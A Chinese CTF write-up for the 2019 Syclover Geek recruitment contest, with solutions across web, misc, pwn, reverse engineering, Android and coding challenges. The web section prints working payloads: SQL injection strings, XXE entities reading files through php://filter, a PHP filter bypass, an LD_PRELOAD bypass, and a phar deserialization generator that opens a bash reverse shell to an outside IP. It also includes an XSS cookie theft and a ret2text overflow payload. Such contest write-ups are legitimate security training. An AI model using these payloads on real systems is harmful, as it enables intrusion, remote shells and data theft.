Leohearts

拥有一颗坚强而又温柔的心 *version 1.1

cover

Geek2019题解

这是2019年Syclover Geek 10th(招新赛)的题解。
ID:白染染

Web

打比赛前先撸一只猫!

查看源码,根据提示传参?cat=dog即可。

你看见过我的菜刀么

就蚁剑连上就行,真是白给的

BurpSuiiiiiit!!!

扔进Burp里,看到Base64,解密即可。

彩蛋:还有一串Base64,提示你反编译,反编译看到另一个Base64,就是彩蛋了。
说好的奶茶还没有喝到QwQ

性感潇文清,在线算卦

地址是固定的,但是要快一点,怎么做呢···

就bash循环多开几个拼命get,另一个窗口拼命post就行了

Easysq

万能密码'or'1即可,简单的注入。

RCE Me

过滤了大小写字母和数字,然后执行$_GET['code']

恰好在此之前看到过一篇绕过preg_match的文章,里面提到可以用异或或者取反的方法绕过对字母的检测。

于是构建payload

http://114.116.44.23:40001/index.php?code=%24%7b%7e%22%a0%b8%ba%ab%22%7d%5b%aa%5d(%24%7b%7e%22%a0%b8%ba%ab%22%7d[%27_%27]);&%aa=assert&_=phpinfo()

(这里又套了一层使它可任意传参)

先看phpinfo,发现system等函数被禁用了

但是它可以用LD_PRELOAD的方式绕过。(参考l3m0n的脚本

具体做法:

  1. 上传一个自定义的恶意.so文件 -> 编写一个用于LD_PRELOAD的共享库文件
  2. 使用putenv()函数设置LD_PRELOAD为此共享库,这样在系统调用时此共享库就会被加载
  3. 调用mail()或其他有系统调用的函数,共享库中的系统指令被执行。

Flag在/readflag,它需要被执行以获取root权限,否则是读不到flag的

李三的代码审计笔记第一页

显示了代码,服务器会多次请求同一个链接,要求每次返回一个串中的不同部分

自己VPS上写一个php每次返回不一样的东西就好了,可以用file_put_contents()做标记。

Lovelysql

可爱的sql?

真的很可爱,没有什么过滤,直接Union注入就好了。

时间有点久,忘记payload怎么写的了,不过真的是入门水平,就不复现了qwq

性感黄阿姨,在线聊天

首页一个聊天窗口,抓包发现是以json方式传到后端的

输入flag提示你只是我的guest,那怎么把自己改成admin或者把flag爆出来呢

根据提示XXE,尝试将Content-type改为text/xml

更改用户名,发现它会返回用户名字段的内容

并使用外部实体方式进行注入,尝试读取flag,具体在哪忘了···

期间还有一个关键词过滤的问题,使用远程dtd文件声明实体即可。

这里过滤了http,但是没有过滤https....

Babysql

和上个sql一样直接联合注入

根据报错语句,发现部分关键词,如or等被删了。

双写即可。

其他和上个sql一模一样,就不详细阐述了。

李三的代码审计笔记第二页

此题未完成。感谢WaY大佬的指导。
李三杀我~

一开始我还以为它只是另一个XXE,只是需要带外(expect怎么可能可以用)

但是后来我发现XXE根本读取不到什么有用的东西==

机灵的我又发现upload.php中使用了ImageMagick作为图片处理器,这个东西可就好玩了==有一大堆洞呢。

首先我想到的是用Imagick的text生成大文件的缩略图,以绕过XXE盲注时url带外的长度限制。

但是失败了。

之后我又尝试了CVE-2016-3714CVE-2016-3716,但依然行不通。

于是我又回到了XML这里,试图读取更多的文件。

在加入zlib.deflate包装器后,我能够读取更多的文件。此时我发现,我所知道的Imagick漏洞全都被配置文件禁用了·····Emmmmmm

于是一筹莫展。

期间还发现了用户ciscn,我也不知道这是干嘛的···啥都没有。

根据WaY大佬的描述,正确的解法是:

查看源码,发现upload.php中存在执行指令的地方

关键代码如下:

in class Picture :
function samplePicture() {
        $filePath = $this->sandbox . $this->fileName . $this->extension;
        $samplePath = $this->sandbox . $this->fileName . "_sample.jpg";
        exec('convert ' . $filePath . " -sample 50%x50% " . $samplePath);
        $jsonencode=json_encode(array("success"=>array("orgin"=>$filePath, "sample"=>$samplePath)));
        echo $jsonencode;
    }
function __destruct(){
        if (!empty($this->jsonencode)){
            echo $this->jsonencode;
            return ;
        }
        if (!file_exists($this->sandbox)){
            mkdir($this->sandbox);
        }
        $fileDst = $this->sandbox . $this->fileName . $this->extension;
        move_uploaded_file($this->tmpName, $fileDst);
        $this->samplePicture();
    }

可以看到,exec的指令是可控的。于是可以通过phar://协议反序列化篡改其参数,使恶意代码执行。

至于ImageMagick...没有影响。

Emmm···

好吧。那就说干就干。

首先,使用以下代码创建一个phar文件:(必须将文件头修改为一种图片的头才能上传,这里是jpg)

<?php
    include 'upload.php';
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $o = new Picture("1.svg");
    $o->sandbox = ' || bash -c "bash -i >& /dev/tcp/18.139.252.51/1234 0>&1" || ';//在这里插入恶意指令
    $o->filename= "echo 1 ";
    $o->extension=" 2333";
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->setStub("\xff\xd8\xff <?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    $phar->stopBuffering();

将其上传,准备一个svg调用该phar文件,就像这样:(就是XXE)

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg [ 
<!ENTITY % lll SYSTEM "phar://picture/c7f843b408e80892e5f5773cb258ea05/076bf9284282dfb3e3f3b304769fcf85.jpg">
%lll;
]>
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
   <circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red" />
</svg>

扔上去,服务器在解析XML时调用到此phar实体,phar文件中指定的Picture对象被创建,在其__destruct过程中调用exec(),执行了我们自定义的参数。

就RCE了。

后来在弹shell的过程中(是的,我是反弹shell爱好者wwwww),一直用curl来外带,后来才发现它根本就没有curl····emmmm
readflag在根目录下,需要执行才能读取到flag

神秘的三叶草

查看源码,首页发现Secret.php

提示It doesn't come from 'https://www.Sycsecret.com'

修改请求头为

-H "X-Forwarded-For: 127.0.0.1" -H "Referer:https://www.Sycsecret.com" -H "User-Agent: Syclover"

即可访问。

Syc{We1com3_t0_Syc_S3creT}

Eval evil code

要求验证码的md5的前四位等于一个指定的值

写个脚本爆破就行了。

又限制了函数内不能有自定义的字符串参数,也不能用数组下标

经过一番寻找,我找到了getallheaders()和array_rand()这两个函数,前者会作为数组返回整个http请求头,而后者会在参数数组中随机选一个,取其名字作为字符串返回。

于是可以构建

passthru(array_rand(getallheaders()));

然后就是看脸了wwwwwwwww,得多试几次,弹个shell回来就可以为所欲为了。

延伸:可以使用array_flip()将数组的键与值反转,在某些情况下可能会有用,比如使用get_defined_functions()取字符的时候

Jiang's Secret

查看源码,发现Archive_room.php

抓包,在点击action.php后会返回注释掉的secr3t.php,伴随一个302跳转。

然后是一个代码审计,会include file的内容,但不能出现httpdatainput关键字。

使用php伪协议套一层base64就好啦

payload:

?file=php://filter/convert.base64-encode/resource=flag.php

HardSQL

过滤了/*,%0a,&之类的,还有"and"
但是可以用--当替换部分空格
就算成功注入了也不会有成功返回,但是可以报错
于是就可以报错注入了

过滤了and我们可以用or嘛wwwww

本来想根据以前学到的使用XPath报错(updatexml,extractvalue),但是当我照着以前的东西打上去然后把空格换成--后,它失败了.....

ERROR 1105 (HY000): XPATH syntax error: '~0s'

怎么办呢
我去到处Google,试图找到思路
终于,我找到了这个函数:

select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));

但是*又被过滤了···
本来想试着找到各层的列名,结果扔上去之后惊喜的发现,它爆出了数据库名、表名,还能猜列名!
payload:

http://118.25.14.40:8103/check.php?username=admin&password=1%27or--exp(~(select--id))%23

返回:

DOUBLE value is out of range in 'exp(~--`geek`.`H4rDsq1`.`id`)'

id换成password,也是正常的,说明password也存在。

知道它在哪了,那么该如何爆出来呢?

在不连续三天的研究后,我发现了一开始xpath没有成功出来的原因:

mysql> select '1' and extractvalue(1,concat(0x7e,(select group_concat(schema_name)from(information_schema.schemata)),0x73));
ERROR 1105 (HY000): XPATH syntax error: '~information_schema,mysql,perfor'
mysql> select '1'and--extractvalue(1,concat(0x7e,(select--group_concat(schema_name)from(information_schema.schemata)),0x73));
ERROR 1105 (HY000): XPATH syntax error: '~0s'

select和group_concat之间的空格不能用"--"替换,原因···我也不清楚。

问题点知道了就好说了(我一开始还以为是Maria的奇怪机制导致的==)

可以把空格两边分别用括号包裹起来,形成

mysql> select '1'and--extractvalue(1,concat(0x7e,(select(group_concat(schema_name))from(information_schema.schemata)),0x73));
ERROR 1105 (HY000): XPATH syntax error: '~information_schema,mysql,perfor'

Bingo.

最终payload:

http://118.25.14.40:8103/check.php?username=admin&password=1%27or--extractvalue(1,concat(0x7e,(select(group_concat(password))from(geek.H4rDsq1)),0x73))%23
XPATH syntax error: '~Syc{You_c4n_erRor_1njecti0n}s'

你有特洛伊么

要求只能上传图片,会验证文件头

那就加上文件头呗

又要求不能出现<?,这可怎么办呢?

还可以用

后缀名不能是php? phtml!

就好了

注意:<script language="php">这种语法在php7.1之后就不能再使用了。(php中文手册上描述有误,请看英文站)
这里题目环境是php7.0

Leixiao's blog

你会盗号吗?

显然是一个XSS

进去注册之后发现一个report功能,要求输入一个链接,该链接会被管理员访问。

一开始我的思路是想办法绕过浏览器的限制用iframe跨域盗Cookie···这有点太前沿了,显然不会出现在招新赛上。

那就找本站的XSS点

经过一番寻找,发现注册时的密保问题是可控的,且可以被任何人访问。

但是限制了32字符··没办法,想办法缩短吧

去短链接站缩短网址,去掉http:,用 />直接闭合
就差不多了

扔上去,在攻击服务器上成功读到Cookie。

payload写好了发现公共XSS平台恰好挂了···没办法,在自己服务器上又写了一个qwq

反序列化1.0

就是简单的反序列化,源码本地跑一下复制序列化改个值扔上去就行了。

payload:
http://148.70.59.198:42374/?exp=O:7:%22Student%22:1:{s:5:%22score%22;i:10000;}

又来一只猫

算是反序列化2.0

提示有备份,果然在www.zip找到了源码

步骤和上题基本一致,只是在__wakeup时重置了username,所以要用CVE-2016-7124绕过。

另外还要注意这是私有属性,要用%00Name%00做前缀。

payload:

?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;s:3:%22100%22;}

你有初恋吗

要求传参进去的内容不能是syclover,但它urldecode后加上某前缀必须与syclover加上同一前缀的md相等

那就urlencode两遍就好了嘛

FinalSQL

只给了一个id项可以填,并且没有错误回显,id在1-6时分别返回不同的内容。

尝试发现SQL语句错误时,返回Error!,而id数不在预定义范围内时返回ERROR!!!。

尝试id=1--2,与id=3时相同。

再尝试id=1--id,返回ERROR!!!,而id=1--skiaishdas返回Error!。

于是可以这样猜字段名。

有什么用呢:(不是password,flag...

本地试了试,猜想它可能是这么写的:

select * from sqli where id=******

那就···可以用子查询咯。

所以···目前可以知道子查询的结果是1-6之间的哪个数···难道要手写编码?

理论上,我们可以用id=(ascii(substr(database(),1,1))mod(115))来一个字符一个字符地爆破···

太麻烦,显然不是正解。不,我真的这么做了。

尝试id=concat((select--1));select(1),直接Error!了,也不能用注释符号···

  • 我真的去爆破了。

试出来库名就是geek,接下来

(ascii(substr((select(table_name)from(information_schema.tables)where(table_schema)like'geek'),1,1))mod(110))

然后我发现like = 都不能用...

问了问贾师傅,得知where还可以用regexp

没有过滤。耶~

结果,在我用burp爆破的时候,我发现···
批注 2019-11-06 135754.png

网页上背景是黑色的,字也是黑色的,我就以为不能报错···

···于是就和上题的套路一样了。

·········真的无语,我是个傻子..

用exp()搞到了数据库名表名

Warning: mysqli_query(): (22003/1690): DOUBLE value is out of range in 'exp(~--`geek`.`Flaaaaag`.`id`)' in /var/www/html/search.php on line 34
  • 但是,我想按照原来的思路再试试

等等,一开始没有group_concat,结果出错了,说明他数据库里有不止一个表?

结果一试···

(ascii(substr((select(table_name)from(information_schema.tables)where(table_schema)regexp'geek'),1,1))mod(110))

这里一开始放错了,现在已经忘记另一个表叫什么了==

同样的方法,爆列名。

然后就可以开始跑了。

一开始我还在一个一个改,后来才想起来有个Cluster Bomb.....
还可以regexp'^Syc'(现学现卖?)

跑到这里我已经给他发了至少8.2k个包了==

批注 2019-11-06 162921.png

耶。

你读懂潇文清的网站了吗

御剑扫了一遍,发现index.php,config.php,upload.php,flag.php

config.php是个白页,upload.php是个jpg上传页面

显然flag.php是我们想要的

第一反应扔个小马上去,然而我并没有看到包含点

回到首页,看到一个输入框,结合提示XXE尝试直接改包修改Content-Type,无效。

经过多次尝试,我发现似乎con这样的格式会在response中显示中间的文本

猜想是经过了XML解析

尝试

<?xml version="1.0"?>
<!DOCTYPE a[<!ENTITY elf "LEO">]>
<root>&elf;awsl</root>

成功返回了LEOawsl

那就尝试注入呗,都知道flag在哪了

尝试过程中发现它过滤了http https ftp flag等关键字

  • 思路一: 结合文件上传扔个dtd上去
  • 思路二:直接data://text/plain;base64把dtd写在里面

这里我用了思路二。

所以最终payload

<?xml version="1.0"?><!DOCTYPE any [<!ENTITY % load SYSTEM "data://text/plain;base64,PCFFTlRJVFkgZWxmIFNZU1RFTSAicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT0vdmFyL3d3dy9mbGFnLnBocCI+">%load;]><root>&elf;awsl</root>

返回

PD9waHANCiRmbGFnPSJTeWN7WHhlK0Y0blh1bGkxSHU0LWlTLUFtYXppbmd9IjsNCmVjaG8gImZsYWcgaXMgaW4gbWV+IjsNCj8+awsl

小插曲: 一开始搞错了Web目录,还以为出了什么奇怪的bug
不知为何<!DOCTYPE any SYSTEM "">不能用,让我一度怀疑这里不是xml :(


但是,这两个都不是预期解。(什么?!!)

后来学长告诉我,这题的预期解法是,先读取config.php取得其中的对象配置(__wakeup会打印flag.php的内容),然后用phar://伪协议执行上传上去的phar文件触发反序列化。

但问题是,能读取config.php为什么不直接读flag.php呢····一般人碰到关键字会先想怎么绕过吧···

生成代码:

<?php
    include 'config.php';
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $o = new File();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    $phar->stopBuffering();

Misc

签到

真的只是签到,微信公众号回复flag就拿到了。

啊啊啊啊啊啊啊!!!我好兴奋!!!

解压,得到一个gif

先上binwalk分析,发现隐藏的jpg

dd提取出来,flag就在图片备注里

在misc Final中提供的版本中,备注是美颜软件信息wwwwwww

{"Version":"1.0.0","BeautyInfo":{"IsAIBeauty":false,"IsOldBeauty":true,"IsSkinColour":false,"SwitchMedicatedAcne":false,"IsBrightEyes":true,"IsReduceBlackEyes":true,"IsSharpen":false,"OldBeautyCount":1,"OldBeautyValue":"[0.352]"},"FaceliftInfo":{"IsChangeFacelift":false,"IsChangeThinFace":true,"IsChangeEyeLift":true,"IsChangeFaceChin":false,"IsChangeNose":false,"IsChangeMouth":true},"FilterInfo":{"IsUseFilter":true,"FilterCount":1,"FilterValueList":"[0.54]"},"ARInfo":{"IsUseAR":false},"MakeupInfo":{"IsUseMakeup":true},"HandlerInfo":{"AppName":2},"SoftHairInfo":{"IsUseSoftHair":false}}

翻过这座山

翻墙后打开链接,是Lamber师傅的tg,还有一个指向github的链接

flag就在github的最近提交里···当前版本的是假的flag,真的flag在历史记录里

我用这个方法找到了Android 3的flag···emmmm
科学上网,文明出行wwww

散打黑客的压缩包

提示4number,爆破即可。

彩蛋:两个4个数字连起来是16进制的egg

是谁杀了谁

注意自己的HP???

原来是在运行中会在当前目录生成隐藏文件HP,flag就在里面。

大佬直接逆向做?

RPG真是太有趣了吧

CE锁血,秒杀,打就完事了。

嘿,你喜欢吃鲱鱼罐头吗?

脑洞有点难以找到···

压缩包内有一张图片,图片的备注是它看上去就像一条死鱼一样

提示用英文搜索

打开图片,发现图片底部有一堆奇奇怪怪的英文字符串

这里其实是Deadfish语言,解码即可拿到flag。

我也想成为r1ngs

解压看到一大堆的16进制···

转换成ASCII后缩放到最小,可以看到它们拼成了flag,算是一个字符画?

马里奥也太有趣了吧

游戏题?

金手指开启

无敌,飞天,超速,请!

Flag就在8-4

I wanna be a geek

I wanna??

耶,这是我拿手的(虽然有几年不玩了)

轻松通关。

似乎正解是跳面或者地图编辑器?不太懂···
要是交给我出,我一定会搞一个超级难,自己都不一定能通关的出来23333

游戏玩累了,不如来来听听歌吧

拿到一段音频

根据题目描述时间倒转,将其反向

看到频谱图里有些奇怪的方块···

放大减速仔细听,发现有嘀嘀嘀的声音,猜想为摩尔斯电码

尝试将所有方块拼在一起(用Audacity-分析-寻找截辐失真辅助寻找),解码,啥也不是。

emmmmm

回到原音频,发现它的方块的大小不同,方块间的间隔也不同。

尝试将方块延长继续观察

发现方块有长有短,方块间隔中的长段大约为短段的两杯长

试着将长方块视为-,短方块视为.,长间隔视为空格,得到... -.-- -.-. -... .---- - . ... - .... ...-- -.. ..- ... -

解码,得到sycb1testh3dust

尝试了各种大小写下划线组合,终于试到了

flag:
SYC{B1TESTH3DUST}

我花了一个小时试出来得知flag格式不是SYC{}...还有这种操作?

早点睡

下载下来一个png,用记事本打开,满屏的Adobe Photoshop····

PS打开,看到一个透明度为0的图层,透明度拉满提取出来,看到一个链接

打开链接,下载下来一个base64,解码得到一个二维码

扫码,得到另一个base64后的二维码···

最后一个文件包含好几个短的base64,发现其中一段明显重复了好几次,解码,就是Flag了。

Pwn

Find tools

Google到了python库pwntools

看了看基本用法

c=remote("pwnto.fun",9999)
context.log_level = 'DEBUG'
c.sendline("l1ve_l0ng_and_pwn")
c.interactive()

拿到base64,l1ve_l0ng_and_pwn

怎么不行呢··

于是我就回去做Web了。

Geek快结束的时候,做不动了又来看看,发现是不能有末尾回车····

c.send("l1ve_l0ng_and_pwn")

Syc{pwn_1s_s0_fun}

Emmmmmm...

Baby rop

此题未完成。
感谢令则的指导,令则真是太强了qwq

原理就是写入数据大于栈中指定的最大数组量,导致后面的数据逃逸到了调用时的指针,使得指定地址上的函数被执行。

一开始看了segmentfault的指引,大概了解了它的工作原理,就照着打···

结果因为奇怪的原因始终无法解析到合适的pattern大小···

极客结束时去问令则,被令则大佬手把手教了qwq

原来这题目本身就有system的调用,无需再在libc里寻找可能的system调用点···

同时在IDA里查看到堆栈大小为88,即136,在136个字符后面写上调用system的函数的地址,传过去就行了。

payload:

payload="A" * 136 + p64(0x00000040619)

其实这样看来,这道题还是降低了难度的emmm

一开始在64位这里卡了一会,主要是自己之前没有了解过64位系统的内存地址,导致前期一直出奇怪的错误(虽然自己还是没解出来,但是也算是学会了这个点吧)

再次感谢令则大佬
Flag: Syc{S0_easy_and_s0_g00d}
Flag就不交了

RE

Jiang's Fan

IDA打开看一下字符串就行了。

Secret

IDA反编译,在对比处设一个断点,调试,查看被对比的两个数组,发现一个是自己输进去的内容,另一个就是flag了。

>unescape("%53%79%63%7b%6e%30%77%5f%79%4f%75%5f%6b%6e%6f%77%5f%62%34%73%65%31%36%7d")
'Syc{n0w_yOu_know_b4se16}'

这里倒是调linux调试器花了一些时间,wsl里的ida因为神奇的原因不能调试,还是用VPS搭了一个远程
也是极客快结束才重新捡起来做

冰菓

打开IDA,发现一句“dnSpy是个很好的工具”,于是下载dnSpy

时间有点长,具体怎么做的忘记了,比较明显就是了emmm

千反田真是太可爱了~

PYC是啥子嘛?

在网上找到pyc在线反编译的网站

发现这是一个迷宫

不大,直接dfs就出来了

写的时候数组少写了一个0,导致莫名其妙的错误还以为自己算法写错了qaq

核心代码:

bool dfs(int place){
    if (place<0||place>=maze.size()) return false;
    if (visited[place]) return false;
    else visited[place]=true;
    if (maze[place]=='#') return false;
    if (maze[place]=='@'){
        if (dfs(place-10)) ans+='&';
        else if (dfs(place+10)) ans+='$';
        else if (dfs(place-1)) ans+='6';
        else if (dfs(place+1)) ans+='3';
        else return false;
        return true;
    }
    if (maze[place]=='E') return true;
}//ans倒着输出就好

别的就不会了呜呜呜呜

Android

Sign_in

直接就在asrc字符常量池里。

蒋学姐的秘密

学习工具的使用。

用dex2jar反编译为jar,翻源码,根据错误提示内容定位到关键代码

public class LoginDataSource {
  public static String login(String paramString) {
    try {
      MessageDigest messageDigest = MessageDigest.getInstance("MD5");
      messageDigest.update(paramString.getBytes());
      StringBuffer stringBuffer = new StringBuffer();
      byte[] arrayOfByte = messageDigest.digest();
      for (byte b = 0; b < arrayOfByte.length; b++) {
        byte b2 = arrayOfByte[b];
        byte b1 = b2;
        if (b2 < 0)
          b1 = b2 + 256; 
        if (b1 < 16)
          stringBuffer.append("0"); 
        stringBuffer.append(Integer.toHexString(b1));
      } 
      return stringBuffer.toString();
    } catch (NoSuchAlgorithmException paramString) {
      paramString.printStackTrace();
      return "";
    } 
  }
  
  public Result<LoggedInUser> login(String paramString1, String paramString2) {
    try {
      if (paramString1.equals(LoginActivity.VersionName)) {
        StringBuilder stringBuilder = new StringBuilder();
        stringBuilder.append("Syc{");
        stringBuilder.append(login(paramString1));
        stringBuilder.append("}");
        return paramString2.equals(stringBuilder.toString()) ? new Result.Success(new LoggedInUser(UUID.randomUUID().toString(), paramString1)) : new Result.Error(new Exception("wrong password"));
      } 
      return new Result.Error(new Exception("wrong user"));
    } catch (Exception paramString1) {
      return new Result.Error(new IOException("Error logging in", paramString1));
    } 
  }
  
  public void logout() {}
}

可以看到用户名是App版本,即Syclover

显然我们需要跑一遍login("Syclover")函数(总不能手算吧)

这里有个小问题,直接代码扔到Android studio里会提示数据类型错误,更改为int即可。

结果因为没配置好代理,还以为Android studio挂了,重装了一遍···GFW害我。
Smali是真的看不懂emm
flag: Syc{8ed847f4164c5b6e87fa2508a05181d1}

正在尝试重新连接

算是一个非预期,出题人的bug

看到在连接网络首先想到抓包(Web手2333)

由于Android的限制https包不太好抓,至少手机上是没抓到

上Android SDK里的AVD,设置代理,Fiddler抓到了CONNECT,没有解密但是暴露了域名

打开,发现是托管在GitHub上的师傅的博客

GitHub?

过去看历史记录,明文的Flag就躺在里面==

正解似乎是对那个文件的当前版本中的数组进行运算?不过既然已经拿到Flag了,我也不是RE手,就没深究,当Misc做了。

第四题要看反编译的JNI代码,我实在看不下去就没做·····

Coding

Dragon Quest

就3x3,要什么算法暴力就行。

#include<stdio.h>
#define max(a,b) (((a) > (b)) ? (a) : (b))
#define min(a,b) (((a) < (b)) ? (a) : (b))
int a[3][3];
int main(){
    for (int i=0;i<3;i++){
        for (int j=0;j<3;j++){
            scanf("%d",&a[i][j]);
            if (a[i][j]<=0){
               printf("The monster is too weak...");
               return 0;
            }
        }
    }
    int max0=max(max(a[0][0],a[0][1]),a[0][2]);
    int max1=max(max(a[1][0],a[1][1]),a[1][2]);
    int max2=max(max(a[2][0],a[2][1]),a[2][3]);
    int min0=min(min(a[0][0],a[0][1]),a[0][2]);
    int min1=min(min(a[1][0],a[1][1]),a[1][2]);
    int min2=min(min(a[2][0],a[2][1]),a[2][3]);
    if (min0+min1+min2>=100){
        printf("The brave died on the way to leveling...");
        return 0;
    }
    if (max0+max1+max2<60){
        printf("why don't give the brave a chance to level up...");
        return 0;
    }
    int ans=233333;
    for (int i=0;i<3;i++){
        for (int j=0;j<3;j++){
            for (int k=0;k<3;k++){
                int ansr=a[0][i]+a[1][j]+a[2][k];
                if (ansr>=60) ans=min(ans,ansr);
            }
        }
    }
    printf("The brave still has %dHP left to face the BOSS",100-ans);
    return 0;
}

挡路羊驼

就一DFS,数据也不大也不用担心复杂度的问题,和逆向的那个迷宫大同小异,只要限定某些地方不可访问就行。

#include<stdio.h>
int map[20][20]={0};
int x,y,ans=0;
int dfs(int a,int b){
    if (a==x&&b==y){
        ans++;
        return 1;
    }
    if (a<0||b<0||a>x||b>y||map[a][b]) return 0;
    dfs(a+1,b);
    dfs(a,b+1);
}
__attribute__((constructor)) wojiushiyaopiyixiahhhhh(){
    int t1,t2;
    scanf("%d%d%d%d",&x,&y,&t1,&t2);
    map[t1][t2]=1;
    map[t1-1][t2-2]=1;
    map[t1-1][t2+2]=1;
    map[t1+1][t2-2]=1;
    map[t1+1][t2+2]=1;
    map[t1+2][t2-1]=1;
    map[t1+2][t2+1]=1;
    map[t1-2][t2-1]=1;
    map[t1-2][t2+1]=1;
    dfs(0,0);
}
int main() {return printf("%d",ans);}

一开始不清楚C不能用bool,为此wa了几次==